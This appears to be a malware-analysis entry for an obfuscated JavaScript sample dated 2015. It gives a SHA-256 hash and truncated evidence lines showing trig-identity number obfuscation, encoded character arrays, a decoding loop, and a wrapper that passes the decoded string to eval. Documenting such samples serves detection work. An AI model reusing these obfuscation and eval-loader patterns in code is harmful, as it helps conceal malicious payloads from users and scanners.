20151216_2083e4b703132fe425fb14033c76adcf.js
Heavily obfuscated eval payload
Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression
SHA-25679e27b938d91c1354102d7d26550cfa5f38967b2d4446e4db1480d3f26c1e2c2
MaleculeO(As₄)H₂(Db₂Po)Md₂(Pa)
Evidence
1GyHYpydJ=[0x4,0x8,0xd,0x11,0x18,0x19,0x22,0x24,0x29,0x2e,0x34,0x38,0x3f,0x42,0x47,0x4d,0x52,0x59,0x5a,0x62,0x66,0x6d,0x70,0x74,0x7a,0x7d,0x82,0x87,0x8d,0x93,0x9a,0x9b,0xa2,0xa7,0xad,0xb0,0xb6,0xbd,0x …
2:154… '.','-','F','@','F','p','e','w','J','f','C',')','N','G','p','k',String.fromCharCode(10),'a','c','7','(','$','B','%','R','*','p','D','Q','o',String.fromCharCode(13),'j','g','Z','{','x',')','M','P',')','&',')','_' …
4:44… WXuvgp){AsBr=zaaXipwIFnLGRxudk(CJawswbASct,ufOJeSZdAfoTx);OOzWK=AsBr.toString(ziWXuvgp);return OOzWK;}
5function MLDbrHcjfMuZHQU(hoKFHxpIFrAwWMYEy,MWxSwtoKFKXwqOLfhOMaQzGFBisILVodWT,LtuZJHBfZsJYFRdUcjNMzvjtMgTqYbmJxqL){eval(hoKFHxpIFrAwWMYEy);}
6function dievlVKRjUpGPMMcUNgSHIqxlPJfKFuPfYuzxRoCcHLrfONOmtqdXl(bnTgmgpVzdtxI,XZcKLWRlARHaEg){ return glwSRxT[GyHYpydJ[qqnER(bnTgmgpVzdtxI[XZcKLWRlARHaEg],(13019+981)/500,(1380+910)/229)]];}
7function FWgIhxK(SAJhUggmWmIuQsSzAGDiTMryTuFTkfBvykbE) {return !rcrDRVECpnj(VcIBPEQnQpmUmoN(SAJhUggmWmIuQsSzAGDiTMryT …
12:33… UObFVKj,ikWpOwmgOIv) {SxCKESvFmpZjfu[uuCxKAUObFVKj]=ikWpOwmgOIv;}
13var j = new Array();j[0]=[];j[0][0]='d';j[0][1]='a';j[0][2]='d';j[0][3]='a';j[0][4]='46';j[0][5]='3d';j[0][6]='42';j[0][7]='14';j[0][8]='3n';j[0][9]='14';j[0][10]='25';j[0][11]='14';j[0][12]='16';j[0][13]='47';j[0][14]='3k';j[0][15]='3d';j[0][16]='44';j[0][17]='3g';j[0][18]='3l';j[0][19]='3g';j[0][20]='49';j[0][21]='3 …
19:30… ],j[4],j[5]];
20var aGnLiNiOD=[];
21function SRAnIupwNDrGbumNU(GATPC){IsgIjeEoRer= '';SvfztROTcNN=Math.round((Math.pow(Math.sin(53), 2) + Math.pow(Math.cos(53), 2) - 1));while(true){if (SvfztROTcNN >= (4618+590)/868){break;}aGnLiNiOD[SvfztROTcNN]=Math.round((Math.pow(Math.sin(818), 2) + Math.pow(Math.cos(818), 2) - 1)); while(true) { if(aGnLiNiOD[SvfztROTcNN] > GATPC[SvfztROTcNN].length-(-434+951)/517) { break; } if (FWgIhxK(qqnER(GATPC[SvfztROTcNN][aGnLiNiOD[SvfztROTcNN]],(19634+582)/722,(1672+318)/199))) {IsgIjeEoRer += dievlVKRjUpGPMMcUNgSHIqxlPJfKFuPfYuzxRoCcHLrfONOmtqdXl([GATPC[SvfztROTcNN][aGnLiNiOD[SvfztROTcNN]]], Math.round((Math.pow(Math.sin(81), 2) + Math.pow(Math.cos(81), 2) - 1)));} aGnLiNiOD[SvfztROTcNN]++;}SvfztROTcNN++;} return IsgIjeEoRer}
22var xjaEmTtsEsCFRHPkfgVOUKbEcKJMKnpRI = 'TNncUVANqHZLDCCmwHZoSWLaPjqrwoKEfFfh';var QuYHCtEoeBFAvXnBecHFDyJVycyfChfg = 'mYMLWKjjflCZyWmaIGruormMMuHUhmrCmVoX';MLDbrHcjfMuZHQU(SRAnIupwNDrGbumNU(GATPC),xjaEmTtsEsCFRHPkfgVOUKbEcKJMKnpRI,QuYHCtEoeBFAvXnBecHF …